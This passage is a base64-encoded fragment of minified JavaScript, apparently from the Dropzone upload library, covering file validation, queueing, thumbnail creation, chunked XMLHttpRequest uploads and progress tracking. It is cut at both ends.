b25zLm1heEZpbGVzaXplJiZlLnNpemU+MTAyNCp0aGlzLm9wdGlvbnMubWF4RmlsZXNpemUqMTAyND90KHRoaXMub3B0aW9ucy5kaWN0RmlsZVRvb0JpZy5yZXBsYWNlKCJ7e2ZpbGVzaXplfX0iLE1hdGgucm91bmQoZS5zaXplLzEwMjQvMTAuMjQpLzEwMCkucmVwbGFjZSgie3ttYXhGaWxlc2l6ZX19Iix0aGlzLm9wdGlvbnMubWF4RmlsZXNpemUpKTppLmlzVmFsaWRGaWxlKGUsdGhpcy5vcHRpb25zLmFjY2VwdGVkRmlsZXMpP251bGwhPXRoaXMub3B0aW9ucy5tYXhGaWxlcyYmdGhpcy5nZXRBY2NlcHRlZEZpbGVzKCkubGVuZ3RoPj10aGlzLm9wdGlvbnMubWF4RmlsZXM/KHQodGhpcy5vcHRpb25zLmRpY3RNYXhGaWxlc0V4Y2VlZGVkLnJlcGxhY2UoInt7bWF4RmlsZXN9fSIsdGhpcy5vcHRpb25zLm1heEZpbGVzKSksdGhpcy5lbWl0KCJtYXhmaWxlc2V4Y2VlZGVkIixlKSk6dGhpcy5vcHRpb25zLmFjY2VwdC5jYWxsKHRoaXMsZSx0KTp0KHRoaXMub3B0aW9ucy5kaWN0SW52YWxpZEZpbGVUeXBlKX19LHtrZXk6ImFkZEZpbGUiLHZhbHVlOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7ZS51cGxvYWQ9e3V1aWQ6aS51dWlkdjQoKSxwcm9ncmVzczowLHRvdGFsOmUuc2l6ZSxieXRlc1NlbnQ6MCxmaWxlbmFtZTp0aGlzLl9yZW5hbWVGaWxlKGUpfSx0aGlzLmZpbGVzLnB1c2goZSksZS5zdGF0dXM9aS5BRERFRCx0aGlzLmVtaXQoImFkZGVkZmlsZSIsZSksdGhpcy5fZW5xdWV1ZVRodW1ibmFpbChlKSx0aGlzLmFjY2VwdChlLChmdW5jdGlvbihuKXtuPyhlLmFjY2VwdGVkPSExLHQuX2Vycm9yUHJvY2Vzc2luZyhbZV0sbikpOihlLmFjY2VwdGVkPSEwLHQub3B0aW9ucy5hdXRvUXVldWUmJnQuZW5xdWV1ZUZpbGUoZSkpLHQuX3VwZGF0ZU1heEZpbGVzUmVhY2hlZENsYXNzKCl9KSl9fSx7a2V5OiJlbnF1ZXVlRmlsZXMiLHZhbHVlOmZ1bmN0aW9uKGUpe3ZhciB0LG49YyhlLCEwKTt0cnl7Zm9yKG4ucygpOyEodD1uLm4oKSkuZG9uZTspe3ZhciByPXQudmFsdWU7dGhpcy5lbnF1ZXVlRmlsZShyKX19Y2F0Y2goZSl7bi5lKGUpfWZpbmFsbHl7bi5mKCl9cmV0dXJuIG51bGx9fSx7a2V5OiJlbnF1ZXVlRmlsZSIsdmFsdWU6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcztpZihlLnN0YXR1cyE9PWkuQURERUR8fCEwIT09ZS5hY2NlcHRlZCl0aHJvdyBuZXcgRXJyb3IoIlRoaXMgZmlsZSBjYW4ndCBiZSBxdWV1ZWQgYmVjYXVzZSBpdCBoYXMgYWxyZWFkeSBiZWVuIHByb2Nlc3NlZCBvciB3YXMgcmVqZWN0ZWQuIik7aWYoZS5zdGF0dXM9aS5RVUVVRUQsdGhpcy5vcHRpb25zLmF1dG9Qcm9jZXNzUXVldWUpcmV0dXJuIHNldFRpbWVvdXQoKGZ1bmN0aW9uKCl7cmV0dXJuIHQucHJvY2Vzc1F1ZXVlKCl9KSwwKX19LHtrZXk6Il9lbnF1ZXVlVGh1bWJuYWlsIix2YWx1ZTpmdW5jdGlvbihlKXt2YXIgdD10aGlzO2lmKHRoaXMub3B0aW9ucy5jcmVhdGVJbWFnZVRodW1ibmFpbHMmJmUudHlwZS5tYXRjaCgvaW1hZ2UuKi8pJiZlLnNpemU8PTEwMjQqdGhpcy5vcHRpb25zLm1heFRodW1ibmFpbEZpbGVzaXplKjEwMjQpcmV0dXJuIHRoaXMuX3RodW1ibmFpbFF1ZXVlLnB1c2goZSksc2V0VGltZW91dCgoZnVuY3Rpb24oKXtyZXR1cm4gdC5fcHJvY2Vzc1RodW1ibmFpbFF1ZXVlKCl9KSwwKX19LHtrZXk6Il9wcm9jZXNzVGh1bWJuYWlsUXVldWUiLHZhbHVlOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcztpZighdGhpcy5fcHJvY2Vzc2luZ1RodW1ibmFpbCYmMCE9PXRoaXMuX3RodW1ibmFpbFF1ZXVlLmxlbmd0aCl7dGhpcy5fcHJvY2Vzc2luZ1RodW1ibmFpbD0hMDt2YXIgdD10aGlzLl90aHVtYm5haWxRdWV1ZS5zaGlmdCgpO3JldHVybiB0aGlzLmNyZWF0ZVRodW1ibmFpbCh0LHRoaXMub3B0aW9ucy50aHVtYm5haWxXaWR0aCx0aGlzLm9wdGlvbnMudGh1bWJuYWlsSGVpZ2h0LHRoaXMub3B0aW9ucy50aHVtYm5haWxNZXRob2QsITAsKGZ1bmN0aW9uKG4pe3JldHVybiBlLmVtaXQoInRodW1ibmFpbCIsdCxuKSxlLl9wcm9jZXNzaW5nVGh1bWJuYWlsPSExLGUuX3Byb2Nlc3NUaHVtYm5haWxRdWV1ZSgpfSkpfX19LHtrZXk6InJlbW92ZUZpbGUiLHZhbHVlOmZ1bmN0aW9uKGUpe2lmKGUuc3RhdHVzPT09aS5VUExPQURJTkcmJnRoaXMuY2FuY2VsVXBsb2FkKGUpLHRoaXMuZmlsZXM9eCh0aGlzLmZpbGVzLGUpLHRoaXMuZW1pdCgicmVtb3ZlZGZpbGUiLGUpLDA9PT10aGlzLmZpbGVzLmxlbmd0aClyZXR1cm4gdGhpcy5lbWl0KCJyZXNldCIpfX0se2tleToicmVtb3ZlQWxsRmlsZXMiLHZhbHVlOmZ1bmN0aW9uKGUpe251bGw9PWUmJihlPSExKTt2YXIgdCxuPWModGhpcy5maWxlcy5zbGljZSgpLCEwKTt0cnl7Zm9yKG4ucygpOyEodD1uLm4oKSkuZG9uZTspe3ZhciByPXQudmFsdWU7KHIuc3RhdHVzIT09aS5VUExPQURJTkd8fGUpJiZ0aGlzLnJlbW92ZUZpbGUocil9fWNhdGNoKGUpe24uZShlKX1maW5hbGx5e24uZigpfXJldHVybiBudWxsfX0se2tleToicmVzaXplSW1hZ2UiLHZhbHVlOmZ1bmN0aW9uKGUsdCxuLHIsbyl7dmFyIGE9dGhpcztyZXR1cm4gdGhpcy5jcmVhdGVUaHVtYm5haWwoZSx0LG4sciwhMCwoZnVuY3Rpb24odCxuKXtpZihudWxsPT1uKXJldHVybiBvKGUpO3ZhciByPWEub3B0aW9ucy5yZXNpemVNaW1lVHlwZTtudWxsPT1yJiYocj1lLnR5cGUpO3ZhciB1PW4udG9EYXRhVVJMKHIsYS5vcHRpb25zLnJlc2l6ZVF1YWxpdHkpO3JldHVybiJpbWFnZS9qcGVnIiE9PXImJiJpbWFnZS9qcGciIT09cnx8KHU9ay5yZXN0b3JlKGUuZGF0YVVSTCx1KSksbyhpLmRhdGFVUkl0b0Jsb2IodSkpfSkpfX0se2tleToiY3JlYXRlVGh1bWJuYWlsIix2YWx1ZTpmdW5jdGlvbihlLHQsbixyLGksbyl7dmFyIGE9dGhpcyx1PW5ldyBGaWxlUmVhZGVyO3Uub25sb2FkPWZ1bmN0aW9uKCl7ZS5kYXRhVVJMPXUucmVzdWx0LCJpbWFnZS9zdmcreG1sIiE9PWUudHlwZT9hLmNyZWF0ZVRodW1ibmFpbEZyb21VcmwoZSx0LG4scixpLG8pOm51bGwhPW8mJm8odS5yZXN1bHQpfSx1LnJlYWRBc0RhdGFVUkwoZSl9fSx7a2V5OiJkaXNwbGF5RXhpc3RpbmdGaWxlIix2YWx1ZTpmdW5jdGlvbihlLHQsbixyKXt2YXIgaT10aGlzLG89IShhcmd1bWVudHMubGVuZ3RoPjQmJnZvaWQgMCE9PWFyZ3VtZW50c1s0XSl8fGFyZ3VtZW50c1s0XTtpZih0aGlzLmVtaXQoImFkZGVkZmlsZSIsZSksdGhpcy5lbWl0KCJjb21wbGV0ZSIsZSksbyl7dmFyIGE9ZnVuY3Rpb24odCl7aS5lbWl0KCJ0aHVtYm5haWwiLGUsdCksbiYmbigpfTtlLmRhdGFVUkw9dCx0aGlzLmNyZWF0ZVRodW1ibmFpbEZyb21VcmwoZSx0aGlzLm9wdGlvbnMudGh1bWJuYWlsV2lkdGgsdGhpcy5vcHRpb25zLnRodW1ibmFpbEhlaWdodCx0aGlzLm9wdGlvbnMudGh1bWJuYWlsTWV0aG9kLHRoaXMub3B0aW9ucy5maXhPcmllbnRhdGlvbixhLHIpfWVsc2UgdGhpcy5lbWl0KCJ0aHVtYm5haWwiLGUsdCksbiYmbigpfX0se2tleToiY3JlYXRlVGh1bWJuYWlsRnJvbVVybCIsdmFsdWU6ZnVuY3Rpb24oZSx0LG4scixpLG8sYSl7dmFyIHU9dGhpcyxzPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpO3JldHVybiBhJiYocy5jcm9zc09yaWdpbj1hKSxpPSJmcm9tLWltYWdlIiE9Z2V0Q29tcHV0ZWRTdHlsZShkb2N1bWVudC5ib2R5KS5pbWFnZU9yaWVudGF0aW9uJiZpLHMub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGE9ZnVuY3Rpb24oZSl7cmV0dXJuIGUoMSl9O3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgRVhJRiYmbnVsbCE9PUVYSUYmJmkmJihhPWZ1bmN0aW9uKGUpe3JldHVybiBFWElGLmdldERhdGEocywoZnVuY3Rpb24oKXtyZXR1cm4gZShFWElGLmdldFRhZyh0aGlzLCJPcmllbnRhdGlvbiIpKX0pKX0pLGEoKGZ1bmN0aW9uKGkpe2Uud2lkdGg9cy53aWR0aCxlLmhlaWdodD1zLmhlaWdodDt2YXIgYT11Lm9wdGlvbnMucmVzaXplLmNhbGwodSxlLHQsbixyKSxsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLGM9bC5nZXRDb250ZXh0KCIyZCIpO3N3aXRjaChsLndpZHRoPWEudHJnV2lkdGgsbC5oZWlnaHQ9YS50cmdIZWlnaHQsaT40JiYobC53aWR0aD1hLnRyZ0hlaWdodCxsLmhlaWdodD1hLnRyZ1dpZHRoKSxpKXtjYXNlIDI6Yy50cmFuc2xhdGUobC53aWR0aCwwKSxjLnNjYWxlKC0xLDEpO2JyZWFrO2Nhc2UgMzpjLnRyYW5zbGF0ZShsLndpZHRoLGwuaGVpZ2h0KSxjLnJvdGF0ZShNYXRoLlBJKTticmVhaztjYXNlIDQ6Yy50cmFuc2xhdGUoMCxsLmhlaWdodCksYy5zY2FsZSgxLC0xKTticmVhaztjYXNlIDU6Yy5yb3RhdGUoLjUqTWF0aC5QSSksYy5zY2FsZSgxLC0xKTticmVhaztjYXNlIDY6Yy5yb3RhdGUoLjUqTWF0aC5QSSksYy50cmFuc2xhdGUoMCwtbC53aWR0aCk7YnJlYWs7Y2FzZSA3OmMucm90YXRlKC41Kk1hdGguUEkpLGMudHJhbnNsYXRlKGwuaGVpZ2h0LC1sLndpZHRoKSxjLnNjYWxlKC0xLDEpO2JyZWFrO2Nhc2UgODpjLnJvdGF0ZSgtLjUqTWF0aC5QSSksYy50cmFuc2xhdGUoLWwuaGVpZ2h0LDApfUUoYyxzLG51bGwhPWEuc3JjWD9hLnNyY1g6MCxudWxsIT1hLnNyY1k/YS5zcmNZOjAsYS5zcmNXaWR0aCxhLnNyY0hlaWdodCxudWxsIT1hLnRyZ1g/YS50cmdYOjAsbnVsbCE9YS50cmdZP2EudHJnWTowLGEudHJnV2lkdGgsYS50cmdIZWlnaHQpO3ZhciBmPWwudG9EYXRhVVJMKCJpbWFnZS9wbmciKTtpZihudWxsIT1vKXJldHVybiBvKGYsbCl9KSl9LG51bGwhPW8mJihzLm9uZXJyb3I9bykscy5zcmM9ZS5kYXRhVVJMfX0se2tleToicHJvY2Vzc1F1ZXVlIix2YWx1ZTpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3B0aW9ucy5wYXJhbGxlbFVwbG9hZHMsdD10aGlzLmdldFVwbG9hZGluZ0ZpbGVzKCkubGVuZ3RoLG49dDtpZighKHQ+PWUpKXt2YXIgcj10aGlzLmdldFF1ZXVlZEZpbGVzKCk7aWYoci5sZW5ndGg+MCl7aWYodGhpcy5vcHRpb25zLnVwbG9hZE11bHRpcGxlKXJldHVybiB0aGlzLnByb2Nlc3NGaWxlcyhyLnNsaWNlKDAsZS10KSk7Zm9yKDtuPGU7KXtpZighci5sZW5ndGgpcmV0dXJuO3RoaXMucHJvY2Vzc0ZpbGUoci5zaGlmdCgpKSxuKyt9fX19fSx7a2V5OiJwcm9jZXNzRmlsZSIsdmFsdWU6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMucHJvY2Vzc0ZpbGVzKFtlXSl9fSx7a2V5OiJwcm9jZXNzRmlsZXMiLHZhbHVlOmZ1bmN0aW9uKGUpe3ZhciB0LG49YyhlLCEwKTt0cnl7Zm9yKG4ucygpOyEodD1uLm4oKSkuZG9uZTspe3ZhciByPXQudmFsdWU7ci5wcm9jZXNzaW5nPSEwLHIuc3RhdHVzPWkuVVBMT0FESU5HLHRoaXMuZW1pdCgicHJvY2Vzc2luZyIscil9fWNhdGNoKGUpe24uZShlKX1maW5hbGx5e24uZigpfXJldHVybiB0aGlzLm9wdGlvbnMudXBsb2FkTXVsdGlwbGUmJnRoaXMuZW1pdCgicHJvY2Vzc2luZ211bHRpcGxlIixlKSx0aGlzLnVwbG9hZEZpbGVzKGUpfX0se2tleToiX2dldEZpbGVzV2l0aFhociIsdmFsdWU6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZmlsZXMuZmlsdGVyKChmdW5jdGlvbih0KXtyZXR1cm4gdC54aHI9PT1lfSkpLm1hcCgoZnVuY3Rpb24oZSl7cmV0dXJuIGV9KSl9fSx7a2V5OiJjYW5jZWxVcGxvYWQiLHZhbHVlOmZ1bmN0aW9uKGUpe2lmKGUuc3RhdHVzPT09aS5VUExPQURJTkcpe3ZhciB0LG49dGhpcy5fZ2V0RmlsZXNXaXRoWGhyKGUueGhyKSxyPWMobiwhMCk7dHJ5e2ZvcihyLnMoKTshKHQ9ci5uKCkpLmRvbmU7KXQudmFsdWUuc3RhdHVzPWkuQ0FOQ0VMRUR9Y2F0Y2goZSl7ci5lKGUpfWZpbmFsbHl7ci5mKCl9dm9pZCAwIT09ZS54aHImJmUueGhyLmFib3J0KCk7dmFyIG8sYT1jKG4sITApO3RyeXtmb3IoYS5zKCk7IShvPWEubigpKS5kb25lOyl7dmFyIHU9by52YWx1ZTt0aGlzLmVtaXQoImNhbmNlbGVkIix1KX19Y2F0Y2goZSl7YS5lKGUpfWZpbmFsbHl7YS5mKCl9dGhpcy5vcHRpb25zLnVwbG9hZE11bHRpcGxlJiZ0aGlzLmVtaXQoImNhbmNlbGVkbXVsdGlwbGUiLG4pfWVsc2UgZS5zdGF0dXMhPT1pLkFEREVEJiZlLnN0YXR1cyE9PWkuUVVFVUVEfHwoZS5zdGF0dXM9aS5DQU5DRUxFRCx0aGlzLmVtaXQoImNhbmNlbGVkIixlKSx0aGlzLm9wdGlvbnMudXBsb2FkTXVsdGlwbGUmJnRoaXMuZW1pdCgiY2FuY2VsZWRtdWx0aXBsZSIsW2VdKSk7aWYodGhpcy5vcHRpb25zLmF1dG9Qcm9jZXNzUXVldWUpcmV0dXJuIHRoaXMucHJvY2Vzc1F1ZXVlKCl9fSx7a2V5OiJyZXNvbHZlT3B0aW9uIix2YWx1ZTpmdW5jdGlvbihlKXtpZigiZnVuY3Rpb24iPT10eXBlb2YgZSl7Zm9yKHZhciB0PWFyZ3VtZW50cy5sZW5ndGgsbj1uZXcgQXJyYXkodD4xP3QtMTowKSxyPTE7cjx0O3IrKyluW3ItMV09YXJndW1lbnRzW3JdO3JldHVybiBlLmFwcGx5KHRoaXMsbil9cmV0dXJuIGV9fSx7a2V5OiJ1cGxvYWRGaWxlIix2YWx1ZTpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy51cGxvYWRGaWxlcyhbZV0pfX0se2tleToidXBsb2FkRmlsZXMiLHZhbHVlOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7dGhpcy5fdHJhbnNmb3JtRmlsZXMoZSwoZnVuY3Rpb24obil7aWYodC5vcHRpb25zLmNodW5raW5nKXt2YXIgcj1uWzBdO2VbMF0udXBsb2FkLmNodW5rZWQ9dC5vcHRpb25zLmNodW5raW5nJiYodC5vcHRpb25zLmZvcmNlQ2h1bmtpbmd8fHIuc2l6ZT50Lm9wdGlvbnMuY2h1bmtTaXplKSxlWzBdLnVwbG9hZC50b3RhbENodW5rQ291bnQ9TWF0aC5jZWlsKHIuc2l6ZS90Lm9wdGlvbnMuY2h1bmtTaXplKX1pZihlWzBdLnVwbG9hZC5jaHVua2VkKXt2YXIgbz1lWzBdLGE9blswXTtvLnVwbG9hZC5jaHVua3M9W107dmFyIHU9ZnVuY3Rpb24oKXtmb3IodmFyIG49MDt2b2lkIDAhPT1vLnVwbG9hZC5jaHVua3Nbbl07KW4rKztpZighKG4+PW8udXBsb2FkLnRvdGFsQ2h1bmtDb3VudCkpe3ZhciByPW4qdC5vcHRpb25zLmNodW5rU2l6ZSx1PU1hdGgubWluKHIrdC5vcHRpb25zLmNodW5rU2l6ZSxhLnNpemUpLHM9e25hbWU6dC5fZ2V0UGFyYW1OYW1lKDApLGRhdGE6YS53ZWJraXRTbGljZT9hLndlYmtpdFNsaWNlKHIsdSk6YS5zbGljZShyLHUpLGZpbGVuYW1lOm8udXBsb2FkLmZpbGVuYW1lLGNodW5rSW5kZXg6bn07by51cGxvYWQuY2h1bmtzW25dPXtmaWxlOm8saW5kZXg6bixkYXRhQmxvY2s6cyxzdGF0dXM6aS5VUExPQURJTkcscHJvZ3Jlc3M6MCxyZXRyaWVzOjB9LHQuX3VwbG9hZERhdGEoZSxbc10pfX07aWYoby51cGxvYWQuZmluaXNoZWRDaHVua1VwbG9hZD1mdW5jdGlvbihuLHIpe3ZhciBhPSEwO24uc3RhdHVzPWkuU1VDQ0VTUyxuLmRhdGFCbG9jaz1udWxsLG4ueGhyPW51bGw7Zm9yKHZhciBzPTA7czxvLnVwbG9hZC50b3RhbENodW5rQ291bnQ7cysrKXtpZih2b2lkIDA9PT1vLnVwbG9hZC5jaHVua3Nbc10pcmV0dXJuIHUoKTtvLnVwbG9hZC5jaHVua3Nbc10uc3RhdHVzIT09aS5TVUNDRVNTJiYoYT0hMSl9YSYmdC5vcHRpb25zLmNodW5rc1VwbG9hZGVkKG8sKGZ1bmN0aW9uKCl7dC5fZmluaXNoZWQoZSxyLG51bGwpfSkpfSx0Lm9wdGlvbnMucGFyYWxsZWxDaHVua1VwbG9hZHMpZm9yKHZhciBzPTA7czxvLnVwbG9hZC50b3RhbENodW5rQ291bnQ7cysrKXUoKTtlbHNlIHUoKX1lbHNle2Zvcih2YXIgbD1bXSxjPTA7YzxlLmxlbmd0aDtjKyspbFtjXT17bmFtZTp0Ll9nZXRQYXJhbU5hbWUoYyksZGF0YTpuW2NdLGZpbGVuYW1lOmVbY10udXBsb2FkLmZpbGVuYW1lfTt0Ll91cGxvYWREYXRhKGUsbCl9fSkpfX0se2tleToiX2dldENodW5rIix2YWx1ZTpmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wO248ZS51cGxvYWQudG90YWxDaHVua0NvdW50O24rKylpZih2b2lkIDAhPT1lLnVwbG9hZC5jaHVua3Nbbl0mJmUudXBsb2FkLmNodW5rc1tuXS54aHI9PT10KXJldHVybiBlLnVwbG9hZC5jaHVua3Nbbl19fSx7a2V5OiJfdXBsb2FkRGF0YSIsdmFsdWU6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPXRoaXMsbz1uZXcgWE1MSHR0cFJlcXVlc3QsYT1jKGUsITApO3RyeXtmb3IoYS5zKCk7IShuPWEubigpKS5kb25lOyluLnZhbHVlLnhocj1vfWNhdGNoKGUpe2EuZShlKX1maW5hbGx5e2EuZigpfWVbMF0udXBsb2FkLmNodW5rZWQmJihlWzBdLnVwbG9hZC5jaHVua3NbdFswXS5jaHVua0luZGV4XS54aHI9byk7dmFyIHU9dGhpcy5yZXNvbHZlT3B0aW9uKHRoaXMub3B0aW9ucy5tZXRob2QsZSkscz10aGlzLnJlc29sdmVPcHRpb24odGhpcy5vcHRpb25zLnVybCxlKTtvLm9wZW4odSxzLCEwKSx0aGlzLnJlc29sdmVPcHRpb24odGhpcy5vcHRpb25zLnRpbWVvdXQsZSkmJihvLnRpbWVvdXQ9dGhpcy5yZXNvbHZlT3B0aW9uKHRoaXMub3B0aW9ucy50aW1lb3V0LGUpKSxvLndpdGhDcmVkZW50aWFscz0hIXRoaXMub3B0aW9ucy53aXRoQ3JlZGVudGlhbHMsby5vbmxvYWQ9ZnVuY3Rpb24odCl7ci5fZmluaXNoZWRVcGxvYWRpbmcoZSxvLHQpfSxvLm9udGltZW91dD1mdW5jdGlvbigpe3IuX2hhbmRsZVVwbG9hZEVycm9yKGUsbywiUmVxdWVzdCB0aW1lZG91dCBhZnRlciAiLmNvbmNhdChyLm9wdGlvbnMudGltZW91dC8xZTMsIiBzZWNvbmRzIikpfSxvLm9uZXJyb3I9ZnVuY3Rpb24oKXtyLl9oYW5kbGVVcGxvYWRFcnJvcihlLG8pfSwobnVsbCE9by51cGxvYWQ/by51cGxvYWQ6bykub25wcm9ncmVzcz1mdW5jdGlvbih0KXtyZXR1cm4gci5fdXBkYXRlRmlsZXNVcGxvYWRQcm9ncmVzcyhlLG8sdCl9O3ZhciBsPXtBY2NlcHQ6ImFwcGxpY2F0aW9uL2pzb24iLCJDYWNoZS1Db250cm9sIjoibm8tY2FjaGUiLCJYLVJlcXVlc3RlZC1XaXRoIjoiWE1MSHR0cFJlcXVlc3QifTtmb3IodmFyIGYgaW4gdGhpcy5vcHRpb25zLmhlYWRlcnMmJmkuZXh0ZW5kKGwsdGhpcy5vcHRpb25zLmhlYWRlcnMpLGwpe3ZhciBwPWxbZl07cCYmby5zZXRSZXF1ZXN0SGVhZGVyKGYscCl9dmFyIGg9bmV3IEZvcm1EYXRhO2lmKHRoaXMub3B0aW9ucy5wYXJhbXMpe3ZhciBkPXRoaXMub3B0aW9ucy5wYXJhbXM7Zm9yKHZhciB2IGluImZ1bmN0aW9uIj09dHlwZW9mIGQmJihkPWQuY2FsbCh0aGlzLGUsbyxlWzBdLnVwbG9hZC5jaHVua2VkP3RoaXMuX2dldENodW5rKGVbMF0sbyk6bnVsbCkpLGQpe3ZhciB5PWRbdl07aWYoQXJyYXkuaXNBcnJheSh5KSlmb3IodmFyIGc9MDtnPHkubGVuZ3RoO2crKyloLmFwcGVuZCh2LHlbZ10pO2Vsc2UgaC5hcHBlbmQodix5KX19dmFyIG0sYj1jKGUsITApO3RyeXtmb3IoYi5zKCk7IShtPWIubigpKS5kb25lOyl7dmFyIHg9bS52YWx1ZTt0aGlzLmVtaXQoInNlbmRpbmciLHgsbyxoKX19Y2F0Y2goZSl7Yi5lKGUpfWZpbmFsbHl7Yi5mKCl9dGhpcy5vcHRpb25zLnVwbG9hZE11bHRpcGxlJiZ0aGlzLmVtaXQoInNlbmRpbmdtdWx0aXBsZSIsZSxvLGgpLHRoaXMuX2FkZEZvcm1FbGVtZW50RGF0YShoKTtmb3IodmFyIHc9MDt3PHQubGVuZ3RoO3crKyl7dmFyIEU9dFt3XTtoLmFwcGVuZChFLm5hbWUsRS5kYXRhLEUuZmlsZW5hbWUpfXRoaXMuc3VibWl0UmVxdWVzdChvLGgsZSl9fSx7a2V5OiJfdHJhbnNmb3JtRmlsZXMiLHZhbHVlOmZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPXRoaXMscj1bXSxpPTAsbz1mdW5jdGlvbihvKXtuLm9wdGlvbnMudHJhbnNmb3JtRmlsZS5jYWxsKG4sZVtvXSwoZnVuY3Rpb24obil7cltvXT1uLCsraT09PWUubGVuZ3RoJiZ0KHIpfSkpfSxhPTA7YTxlLmxlbmd0aDthKyspbyhhKX19LHtrZXk6Il9hZGRGb3JtRWxlbWVudERhdGEiLHZhbHVlOmZ1bmN0aW9uKGUpe2lmKCJGT1JNIj09PXRoaXMuZWxlbWVudC50YWdOYW1lKXt2YXIgdCxuPWModGhpcy5lbGVtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoImlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0LCBidXR0b24iKSwhMCk7dHJ5e2ZvcihuLnMoKTshKHQ9bi5uKCkpLmRvbmU7KXt2YXIgcj10LnZhbHVlLGk9ci5nZXRBdHRyaWJ1dGUoIm5hbWUiKSxvPXIuZ2V0QXR0cmlidXRlKCJ0eXBlIik7aWYobyYmKG89by50b0xvd2VyQ2FzZSgpKSxudWxsIT1pKWlmKCJTRUxFQ1QiPT09ci50YWdOYW1lJiZyLmhhc0F0dHJpYnV0ZSgibXVsdGlwbGUiKSl7dmFyIGEsdT1jKHIub3B0aW9ucywhMCk7dHJ5e2Zvcih1LnMoKTshKGE9dS5uKCkpLmRvbmU7KXt2YXIgcz1hLnZhbHVlO3Muc2VsZWN0ZWQmJmUuYXBwZW5kKGkscy52YWx1ZSl9fWNhdGNoKGUpe3UuZShlKX1maW5hbGx5e3UuZigpfX1lbHNlKCFvfHwiY2hlY2tib3giIT09byYmInJhZGlvIiE9PW98fHIuY2hlY2tlZCkmJmUuYXBwZW5kKGksci52YWx1ZSl9fWNhdGNoKGUpe24uZShlKX1maW5hbGx5e24uZigpfX19fSx7a2V5OiJfdXBkYXRlRmlsZXNVcGxvYWRQcm9ncmVzcyIsdmFsdWU6ZnVuY3Rpb24oZSx0LG4pe2lmKGVbMF0udXBsb2FkLmNodW5rZWQpe3ZhciByPWVbMF0saT10aGlzLl9nZXRDaHVuayhyLHQpO24/KGkucHJvZ3Jlc3M9MTAwKm4ubG9hZGVkL24udG90YWwsaS50b3RhbD1uLnRvdGFsLGkuYnl0ZXNTZW50PW4ubG9hZGVkKTooaS5wcm9ncmVzcz0xMDAsaS5ieXRlc1NlbnQ9aS50b3RhbCksci51cGxvYWQucHJvZ3Jlc3M9MCxyLnVwbG9hZC50b3RhbD0wLHIudXBsb2FkLmJ5dGVzU2VudD0wO2Zvcih2YXIgbz0wO288ci51cGxvYWQudG90YWxDaHVua0NvdW50O28rKylyLnVwbG9hZC5jaHVua3Nbb10mJnZvaWQgMCE9PXIudXBsb2FkLmNodW5rc1tvXS5wcm9ncmVzcyYmKHIudXBsb2FkLnByb2dyZXNzKz1yLnVwbG9hZC5jaHVua3Nbb10ucHJvZ3Jlc3Msci51cGxvYWQudG90YWwrPXIudXBsb2FkLmNodW5rc1tvXS50b3RhbCxyLnVwbG9hZC5ieXRlc1NlbnQrPXIudXBsb2FkLmNodW5rc1tvXS5ieXRlc1NlbnQpO3IudXBsb2FkLnByb2dyZXNzPXIudXBsb2FkLnByb2dyZXNzL3IudXBsb2FkLnRvdGFsQ2h1bmtDb3VudCx0aGlzLmVtaXQoInVwbG9hZHByb2dyZXNzIixyLHIudXBsb2FkLnByb2dyZXNzLHIudXBsb2FkLmJ5dGVzU2VudCl9ZWxzZXt2YXIgYSx1PWMoZSwhMCk7dHJ5e2Zvcih1LnMoKTshKGE9dS5uKCkpLmRvbmU7KXt2YXIgcz1hLnZhbHVlO3MudXBsb2FkLnRvdGFsJiZzLnVwbG9hZC5ieXRlc1NlbnQmJnMudXBsb2FkLmJ5dGVzU2VudD09cy51cGxvYWQudG90YWx8fChuPyhzLnVwbG9hZC5wcm9ncmVzcz0xMDAqbi5sb2FkZWQvbi50b3RhbCxzLnVwbG9hZC50b3RhbD1uLnRvdGFsLHMudXBsb2FkLmJ5dGVzU2VudD1uLmxvYWRlZCk6KHMudXBsb2FkLnByb2dyZXNzPTEwMCxzLnVwbG9hZC5ieXRlc1NlbnQ9cy51cGxvYWQudG90YWwpLHRoaXMuZW1pdCgidXBsb2FkcHJvZ3Jlc3MiLHMscy51cGxvYWQucHJvZ3Jlc3Mscy51cGxvYWQuYnl0ZXNTZW50KSl9fWNhdGNoKGUpe3UuZShlKX1maW5hbGx5e3UuZigpfX19fSx7a2V5OiJfZmluaXNoZWRVcGxvYWRpbmciLHZhbHVlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZihlWzBdLnN0YXR1cyE9PWkuQ0FOQ0VMRUQmJjQ9PT10LnJlYWR5U3RhdGUpe2lmKCJhcnJheWJ1ZmZlciIhPT10LnJlc3BvbnNlVHlwZSYmImJsb2IiIT09dC5yZXNwb25zZVR5cGUmJihyPXQucmVzcG9uc2VUZXh0LHQuZ2V0UmVzcG9uc2VIZWFkZXIoImNvbnRlbnQtdHlwZSIpJiZ+dC5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikuaW5kZXhPZigiYXBwbGljYXRpb24vanNvbiIpKSl0cnl7cj1KU09OLnBhcnNlKHIpfWNhdGNoKGUpe249ZSxyPSJJbnZhbGlkIEpTT04gcmVzcG9uc2UgZnJvbSBzZXJ2ZXIuIn10aGlzLl91cGRhdGVGaWxlc1VwbG9hZFByb2dyZXNzKGUsdCksMjAwPD10LnN0YXR1cyYmdC5zdGF0dXM8MzAwP2VbMF0udXBsb2FkLmNodW5rZWQ/ZVswXS51cGxvYWQuZmluaXNoZWRDaHVua1VwbG9hZCh0aGlzLl9nZXRDaHVuayhlWzBdLHQpLHIpOnRoaXMuX2ZpbmlzaGVkKGUscixuKTp0aGlzLl9oYW5kbGVVcGxvYWRFcnJvcihlLHQscil9fX0se2tleToiX2hhbmRsZVV